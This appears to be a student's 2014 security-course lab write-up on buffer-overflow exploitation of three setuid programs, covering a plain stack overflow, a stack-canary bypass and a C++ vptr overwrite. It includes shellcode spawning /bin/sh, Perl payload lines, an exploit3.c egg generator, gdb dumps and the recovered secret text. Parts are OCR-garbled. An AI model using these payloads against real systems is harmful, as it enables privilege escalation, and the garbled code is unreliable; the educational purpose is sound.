Buffer overflows knowledge requirements:

C/C++
Assembly
program memory allocation
Linux permissions.

There are three users on the same Linux machine with a secret.txt file each one. Each of the users (superuser, hyperuser, masteruser) have an executable on their directory which can be executed by all the other users. When executing the program users will have the owners permissions and not the permissions of the user executing it.

The goal we trying to succeed is to to create a Shell running from the executables with the victim's privileges by overwriting a usefull address/bit.

Superuser:

program: convert.c

without any protection against buffer overflows

Hyperuser:

program: arpsender.c

uses a canary to protect against buffer overflows.

Masteruser:

program: zoo.cpp

must be exploited using the VPTR.

Kotsomitopoulos Aristotelis

Project #1 Y Σ 13 EAPINO 2014 (computer system security)



Here we just try to place in our RET address a value inside our buffers first NOPS, so our ip will continue until it finds our SHELLCODE!

/home/superuser\$./convert a \$EGG (our ENVIROMENTAL var)(code at last page) to open our shell... an alternative way is to work like the HYPERUSER and create a bash script that simply modify the RET value with ADDR at once(almost the same with alef) using command: "info locals" we can find our date buffer start address and we can add a bit offset to overwrite our address, and with "info f" we can check when our RET value is overwrited with the NOPS address or the start of our shellcode and we are DONE!!

SUPERSECRET.TXT

\$ cat supersecret.txt

One is is three in any people a of is in called In example read a is the simply into parts to How is each the itself? possible the that about is a interesting discussed later orutnFolvthlleroj

SERIAL: 1399762801-

c9a58cf2a26af87ec9de1745f2eaed5f298dae7581b6dcd7d77d1eaa33104fad7031c4f9814bdcc3e572b8e0476c1e1aa0c1eb3523756beeaa1b4ee0d67d1c72



Firstly i hacked hyperuser using the follow script:

```
#buffer address before shell code on NOPS
                   "\x1e\xa0\x04\x08".
                #our 5th letter we wanna have 140 ascii value
                  chr (140)
                #we add 60 x NOPS
                   "\x90" x 60
                #we add Shell Code
                   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\$
                #we add 10 x NOPS
                   "\x90" x 10 .
                #we add RET address to our vulnerable pointer
                   "AAAABAAACAAAAADAAAA\x8c\xf6\xff\xbf";' > output.txt
54 and followd by : /home/hyperuser$ ./arpsender /home/std10048/project 1/output.txt
   std10048@sbox:/home/hyperuser$ ./arpsender /home/std10048/project 1/output.txt
   59 explanation : we can see in our code that
              hwaddr.len = (shsize_t) *(packet + ADDR_LENGTH_OFFSET);
                                                                       //WE read 5th letter Ascii code and we place it in hwaddr.len
               memcpy(hwaddr.addr, packet + ADDR_OFFSET, hwaddr.len);
                                                                       //WE copy from the 6th char untill len all our input so here we can overflow our 128 byte array
                                                                        //and here we can void the canarie by writing here the RET address and IN the RET address we write our buffer
              memcpy(hwaddr.hwtype, packet, 4);
                                                                       //start point or a NOP address so we can run our sellcode without overwriting the canarie value!!
   our Buffer Now look like [0x0804a01e (ASCI 140) NOPNOPNOPNOP...NOP ...SHELLCODE....NOPNOP ..... 0xbfffff68c]
              // so 0xbffff68c is where our pointer hwtype will point and 0x0804a01e is our value (a place in our First NOPS)
               //with GDB i counted where exactly our pointer hwtype was placed i could look his value with command :"x hwaddr.hwtype " and "info locals"
   At firt i succeed to run our Shell code only using gdb but not in our real program so that is how i solved that problem:
       i used the command : "unset env" in our debugger
       then i used the command printenv in my directory and i placed all the environment variables from printenv to my GDB so we could work with
       the same values of ret address etc..
       something like that:
   (adb) set env TERM=xterm
   (gdb) set env XDG_SESSION_COOKIE=649e52fbafb01ebc4e562bc45366380e-1400194684.878620-1896787215
    (adb) set env SSH CLIENT=85.75.240.125
   (gdb) set env OLDPWD=/home/std10048
   (gdb) set env SSH_TTY=/dev/pts/2
   (gdb) set env USER=std10048
   (gdb) set env LS COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.ta
   (gdb) set env COLUMNS=95
   (gdb) PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
    (gdb) set env PATH=/usr/local/bin:/usr/bin:/usr/local/games:/usr/games
    (gdb) set env MAIL=/var/mail/std10048
   (gdb) set env PWD=/home/hyperuser
   (gdb) set env LANG=en US.UTF-8
   (gdb) set env LINES=47
   (gdb) set env HOME=/home/std10048
   (gdb) set env SHLVL=1
   (gdb) set env LOGNAME=std10048
   (gdb) set env SSH CONNECTION=85.75.240.125 60078 195.134.71.138 22
   (gdb) set env =/usr/bin/printenv
95 i used "info f" command in gdb to find my RET address (epi at) plus my packet address (i added an offset to our packet address in order to point inside our NOPS)
```

With the above instructions i succeed to jump to my RET address without touching the canary by using a vulnerable pointer.

Hyperscript.sh (original code at last page)

```
//chmod +x Hyperscript.sh
#!/bin/bash
'perl -e 'printf
             #buffer address before shell code on NOPS
                "\x1e\xa0\x04\x08" .
             #our 5th letter we wanna have 140 ascii value
                chr(140) .
             #we add 60 x NOPS
                "\x90" x 60 .
             #we add Shell Code
            "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\
            x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\
            x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\
            xe8\xdc\xff\xff\xff/bin/sh"
             #we add 10 x NOPS
                "\x90" x 10 .
             #we add RET address to our vulnerable pointer
                "AAAABAAACAAAAADAAAA\x8c\xf6\xff\xbf";' > output.txt`
```

HYPERSECRET.TXT

\$ cat hypersecret.txt

interesting how possible people, general number

to secret text. something cryptography secret this that

right simple presented text divided three and three much

leaked share secret Is to secret no the leaked share? questions in on! nalisr inengeect

SERIAL: 1400202302-

bc1977e5b8b6526c4065fc92591f912e95075079bee1f1c6ae6d7b4b40390b9ece61342f212c1f5cf 87cb0be4df16698c49f51191d7f417e067bf90db0b7f536



we overwrite the VPTR at the end of our first buffer[256] and we need to call ("-s") in order for the virtual function to be called..

we must create a "virtual Vtable" in our buffer to confuse our program and for example if our pointer try to call an overload operator or a print function from vtable it will load

our shellcode ... so our form is :

using "info f" with break 13 we can find our THIS address or our class

VTABLE starts at $0\times804a008$ so we want to replace vptr with $0\times804a008+4$ so it will point there and inside the $0\times804a008+4$ we will place our nops or shellcode address.

Lets have a better look:

121 x/112wx 0x0804a008

```
void set name(char *nname) { strcpy(name, nname); }
   (gdb) x/112wx 0x0804a008
                we will replace the first 4-5 addresses with our 0x804a008+4 plus the number of the replaced addres 0x804a008+4+(3*4) if we replace the first 3 addresses
                       0x69766c59
                                 0x00000073
                                            0x00000000
0x804a028: 0x00000000 0x00000000 0x00000000
   0x804a048: 0x00000000 0x00000000 0x00000000
                                           0x00000000
                                                             //somewhere here we are going to put our SHELLCODE with some NOPS at the start
   0x804a058: 0x00000000 0x00000000 0x00000000
                                           0x00000000
                                                            //so our above address will point in our NOPS
134 0x804a068: 0x00000000 0x00000000 0x00000000
                                           0x00000000
   0x804a078: 0x00000000 0x00000000 0x00000000
                                           0x00000000
   0x804a088: 0x00000000 0x00000000 0x00000000
                                           0x00000000
   0x804a098: 0x00000000 0x00000000 0x00000000
                                           0x00000000
   0x804a0a8: 0x00000000 0x00000000 0x00000000
                                           0x00000000
   0x804a0b8: 0x00000000 0x00000000 0x00000000
                                           0x00000000
   0x804a0c8: 0x00000000 0x00000000 0x00000000
                                           0x00000000
   0x804a0d8: 0x00000000 0x00000000 0x00000000
   0x804a0e8: 0x00000000 0x00000000 0x00000000
   0x804a108: 0x00000000 0x00000109 0x08048d10 0x69766c59
                                                            //0x08048d10 this is the Vptr we want to replace with 0x804a008+4
   0x804a118: 0x00000073 0x00000000 0x00000000
                                           0x00000000
```

```
149 so we after we excecute :
                                                            "ADDR ADDR ADDR NOP NOP NOP SHELLCODE AA...AAA VPTR VPTR VPTR" we put a lot of VPTR to reasure we will overwrite him
151 \quad run \quad -c \quad perl \quad -e \quad rvintf \quad x18 \\ xa0 \\ x04 \\ x08 \\ x19 \\ x20 \\ x19 \\ x16 \\ x11 \\ x1
152 x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\bin/sh" . "A" x 195 . "\x0c\xa0\x08\x08" x 8 ;'` -s
154 our VTABLE WILL LOOK LIKE :
155 (gdb) step
156 main (argc=4, argv=0xbffff6b4) at zoo.cpp:96
                              break;
158 (gdb) x/112wx 0x0804a008
159
                                        the address is replaced correctly
162 0x804a008: 0x08048d20 0x0804a018 0x0804a018 0x0804a018
163 0x804a018: 0x90909090 0x895e1feb 0xc0310876 0x89074688
164 0x804a028: 0x0bb00c46 0x4e8df389 0x0c568d08 0xdb3180cd
165 0x804a038: 0xcd40d889 0xffdce880 0x622fffff 0x732f6e69
166 0x804a048: 0x41414168 0x41414141 0x41414141 0x41414141
167 0x804a058: 0x41414141 0x41414141 0x41414141 0x41414141
168 0x804a068: 0x41414141 0x41414141 0x41414141 0x41414141
169 0x804a078: 0x41414141 0x41414141 0x41414141 0x41414141
170 0x804a088: 0x41414141 0x41414141 0x41414141 0x41414141
171 0x804a098: 0x41414141 0x41414141 0x41414141 0x41414141
172 0x804a0a8: 0x41414141 0x41414141 0x41414141 0x41414141
173 0x804a0b8: 0x41414141 0x41414141 0x41414141 0x41414141
174  0x804a0c8: 0x41414141  0x41414141  0x41414141  0x41414141
175 0x804a0d8: 0x41414141 0x41414141 0x41414141 0x41414141
176 0x804a0e8: 0x41414141 0x41414141 0x41414141 0x41414141
177 0x804a0f8: 0x41414141 0x41414141 0x41414141 0x41414141
178 0x804a108: 0x41414141 0x0804a00c 0x0804a00c 0x0804a00c
                                                                                                                                                             //Vptr is overwrited correctly
179 0x804a118: 0x0804a00c 0x0804a00c 0x0804a00c 0x0804a00c
180 0x804a128: 0x0804a00c 0x00000000 0x00000000 0x00000000
181
```

so now our SELLCODE can be Executed:

```
std10048@sbox:/home/masteruser$ ./zoo -c `perl -e 'printf
"\x18\xa0\x04\x08\x18\xa0\x04\x08\x18\xa0\x04\x08\x90\x90\x90\xeb
\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8
d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80
\xe8\xdc\xff\xff\bin/sh" . "A" x 195 . "\x0c\xa0\x04\x08" x 8 ;'` -s
```

we could avoid placing 8x addresses at the end if we have counted byte by byte exactly the Vptr location.

MASTERSECRET.TXT

\$ cat mastersecret.txt

question it for or for of share piece This that is sharing.

little you now solution where is vertically different distributed parties.

information from about passage it divide so information secret by

These will class Cgtao!sog haofpone

SERIAL: 1400759702-

8f9a1fe300998d1d45bdaf99740699fcc68786fb04d9c83b8056d6839f3aed2c66446bb9d17c5c1cf c6b3c4da35af78504713ab70b4c5082eae2f4ab44c3c7b2

Final TEXT SUPER+HYPER+MASTER

```
#include<iostream>
#include<string>
#include<fstream>
using namespace std;
int main(void){
ifstream super, hyper, master;
super.open("superuser.txt");
hyper.open("hyperuser.txt");
master.open("masteruser.txt");
string Sword[37], Hword[38], Mword[37]; //wc -w filename.txt
int i=0:
while(super >> Sword[i]){
i++;
}
i = 0;
while(hyper >> Hword[i]){
}
i = 0:
while(master >> Mword[i]){
i++;
for (i = 0; i < 37; i++){}
cout<<Sword[i]<<" "<<Hword[i]<<" ";</pre>
cout<<Hword[37]<<endl;
return 0;
}
```

So Our Final Text:

One interesting question is how it is possible for three people, or in general for any number of people to share a secret piece of text.

This is something that in cryptography is called secret sharing. In this little example that you read right now a simple solution is presented where the text is simply divided vertically into three different parts and distributed to three parties.

How much information is leaked from each share about the secret passage itself? Is it possible to divide the secret so that no information about the secret is leaked by a share? These interesting questions will discussed in class later on! Cgtao!sog orutnFolvthlleroj nalisr haofpone inengeect

Exploit3.c

```
std10048@sbox: ~/project_1
             GNU nano 2.2.6
                                                                                                                                                         File: exploi
 0
            #include <stdlib.h>
                                                               //std10048 exploit3.c
            512
0x90
            #define
#define
            char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff\bin/sh";
              insigned long get_sp(void) { __asm_("movl %esp,%eax");}
             coid main(int argc, char *argv[]) {
    char *buff, *ptr;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
    int i;
               if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0); }
               addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
               ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
  *(addr_ptr++) = addr;
               for (i = 0; i < bsize/2; i++)
buff[i] = NOP;</pre>
               ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
 *(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff, "EGG=",4);
putenv(buff);
system("/bin/bash");}</pre>
```

HyperScript.sh

```
dd10048@sbox:-/project_1

GNU nano 2.2.6 File: hyperscript.sh

#Unjourney was a control of the c
```